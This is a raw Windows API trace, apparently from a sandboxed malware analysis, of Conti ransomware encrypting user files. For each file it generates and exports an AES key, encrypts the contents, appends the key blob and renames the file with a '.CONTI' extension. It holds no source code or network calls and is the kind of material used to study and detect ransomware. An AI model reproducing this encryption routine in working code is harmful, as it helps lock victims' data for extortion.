	[0140.897] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.897] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav") returned="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav"
	[0140.897] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav.CONTI"
	[0140.897] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav" (normalized: "c:\\users\\fd1hvy\\music\\ickuew0xcy.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IckUEw0xcy.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\ickuew0xcy.wav.conti")) returned 1
	[0140.897] GetProcessHeap () returned 0x1720000
	[0140.897] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.897] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0140.897] GetProcessHeap () returned 0x1720000
	[0140.897] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17beec0 | out: hHeap=0x1720000) returned 1
	[0140.897] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0140.897] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b45530 | out: phKey=0x6b45530*=0x6b7f278) returned 1
	[0140.897] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45534, pdwDataLen=0x4bffe94 | out: pbData=0x6b45534*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0143.797] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\jkmqh2umaipw4ngwobn.m4a")) returned 0x20
	[0143.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\jkmqh2umaipw4ngwobn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0143.798] GetLastError () returned 0x0
	[0143.798] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=77961) returned 1
	[0143.798] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13089
	[0143.798] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.798] SetEndOfFile (hFile=0x494) returned 1
	[0143.798] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.798] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.798] WriteFile (in: hFile=0x494, lpBuffer=0x6b45534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b45534*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.800] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.800] ReadFile (in: hFile=0x494, lpBuffer=0xda50000, nNumberOfBytesToRead=0x13089, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x13089, lpOverlapped=0x0) returned 1
	[0143.805] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x13089, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x13090) returned 1
	[0143.805] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.805] WriteFile (in: hFile=0x494, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x13090, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x13090, lpOverlapped=0x0) returned 1
	[0143.805] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.805] WriteFile (in: hFile=0x494, lpBuffer=0x6b45528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b45528*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0143.805] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.805] CloseHandle (hObject=0x494) returned 1
	[0143.805] GetProcessHeap () returned 0x1720000
	[0143.805] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.805] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a") returned="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a"
	[0143.805] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a.CONTI"
	[0143.805] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\jkmqh2umaipw4ngwobn.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\jKmQh2UmaiPw4nGwobn.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\jkmqh2umaipw4ngwobn.m4a.conti")) returned 1
	[0143.806] GetProcessHeap () returned 0x1720000
	[0143.806] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.806] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0143.806] GetProcessHeap () returned 0x1720000
	[0143.806] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbc90 | out: hHeap=0x1720000) returned 1
	[0143.806] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0143.806] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x6b7f0f8) returned 1
	[0143.806] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x4bffe94 | out: pbData=0x6b51044*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0143.807] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3flg0n.gif")) returned 0x20
	[0143.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3flg0n.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0143.808] GetLastError () returned 0x0
	[0143.808] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=39412) returned 1
	[0143.808] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x99f4
	[0143.808] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.808] SetEndOfFile (hFile=0x490) returned 1
	[0143.809] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.809] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.809] WriteFile (in: hFile=0x490, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.812] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.812] ReadFile (in: hFile=0x490, lpBuffer=0xda50000, nNumberOfBytesToRead=0x99f4, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x99f4, lpOverlapped=0x0) returned 1
	[0143.813] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x99f4, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x9a00) returned 1
	[0143.814] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.814] WriteFile (in: hFile=0x490, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x9a00, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x9a00, lpOverlapped=0x0) returned 1
	[0143.814] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.814] WriteFile (in: hFile=0x490, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0143.814] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.814] CloseHandle (hObject=0x490) returned 1
	[0143.814] GetProcessHeap () returned 0x1720000
	[0143.814] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.814] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif") returned="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif"
	[0143.814] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif.CONTI"
	[0143.814] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3flg0n.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\3Flg0N.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\3flg0n.gif.conti")) returned 1
	[0143.815] GetProcessHeap () returned 0x1720000
	[0143.815] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.815] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0143.815] GetProcessHeap () returned 0x1720000
	[0143.815] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5a8 | out: hHeap=0x1720000) returned 1
	[0143.815] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0143.815] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fe00 | out: phKey=0x6b4fe00*=0x6b7f0f8) returned 1
	[0143.815] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fe04, pdwDataLen=0x4bffe94 | out: pbData=0x6b4fe04*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0143.816] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3k3jls6421bbl.gif")) returned 0x20
	[0143.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3k3jls6421bbl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0143.817] GetLastError () returned 0x0
	[0143.817] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=68331) returned 1
	[0143.817] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10aeb
	[0143.817] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.818] SetEndOfFile (hFile=0x490) returned 1
	[0143.818] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.818] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.818] WriteFile (in: hFile=0x490, lpBuffer=0x6b4fe04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4fe04*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.821] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.821] ReadFile (in: hFile=0x490, lpBuffer=0xda50000, nNumberOfBytesToRead=0x10aeb, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x10aeb, lpOverlapped=0x0) returned 1
	[0143.824] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x10aeb, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x10af0) returned 1
	[0143.824] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.824] WriteFile (in: hFile=0x490, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x10af0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x10af0, lpOverlapped=0x0) returned 1
	[0143.824] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.824] WriteFile (in: hFile=0x490, lpBuffer=0x6b4fdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4fdf8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0143.824] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.824] CloseHandle (hObject=0x490) returned 1
	[0143.824] GetProcessHeap () returned 0x1720000
	[0143.824] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.824] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif") returned="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif"
	[0143.824] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif.CONTI"
	[0143.824] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\3k3jls6421bbl.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\3K3JLS6421bbL.gif.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\3k3jls6421bbl.gif.conti")) returned 1
	[0143.825] GetProcessHeap () returned 0x1720000
	[0143.825] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.825] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0143.825] GetProcessHeap () returned 0x1720000
	[0143.825] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740f80 | out: hHeap=0x1720000) returned 1
	[0143.825] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0143.825] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b51288 | out: phKey=0x6b51288*=0x6b7f278) returned 1
	[0143.825] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5128c, pdwDataLen=0x4bffe94 | out: pbData=0x6b5128c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0143.826] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\6fszegdjtq5k2cdilw.bmp")) returned 0x20
	[0143.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\6fszegdjtq5k2cdilw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0143.827] GetLastError () returned 0x0
	[0143.827] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=77410) returned 1
	[0143.827] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12e62
	[0143.827] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.828] SetEndOfFile (hFile=0x490) returned 1
	[0143.828] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.828] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.828] WriteFile (in: hFile=0x490, lpBuffer=0x6b5128c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b5128c*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0143.834] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0143.834] ReadFile (in: hFile=0x490, lpBuffer=0xda50000, nNumberOfBytesToRead=0x12e62, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x12e62, lpOverlapped=0x0) returned 1
	[0143.857] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x12e62, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x12e70) returned 1
	[0144.095] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.095] WriteFile (in: hFile=0x490, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x12e70, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x12e70, lpOverlapped=0x0) returned 1
	[0144.096] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.096] WriteFile (in: hFile=0x490, lpBuffer=0x6b51280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b51280*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0144.096] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.096] CloseHandle (hObject=0x490) returned 1
	[0144.096] GetProcessHeap () returned 0x1720000
	[0144.096] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0144.097] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp"
	[0144.097] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp.CONTI"
	[0144.097] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\6fszegdjtq5k2cdilw.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\6FSzEgDjTQ5k2CdilW.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\6fszegdjtq5k2cdilw.bmp.conti")) returned 1
	[0144.099] GetProcessHeap () returned 0x1720000
	[0144.099] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0144.099] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0144.099] GetProcessHeap () returned 0x1720000
	[0144.099] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbc28 | out: hHeap=0x1720000) returned 1
	[0144.099] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0144.099] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b514d0 | out: phKey=0x6b514d0*=0x6b7f0f8) returned 1
	[0144.099] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b514d4, pdwDataLen=0x4bffe94 | out: pbData=0x6b514d4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0144.101] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini")) returned 0x6
	[0144.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0144.102] GetLastError () returned 0x0
	[0144.102] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=190) returned 1
	[0144.102] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbe
	[0144.102] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.102] SetEndOfFile (hFile=0x490) returned 1
	[0144.108] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.108] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.108] WriteFile (in: hFile=0x490, lpBuffer=0x6b514d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b514d4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
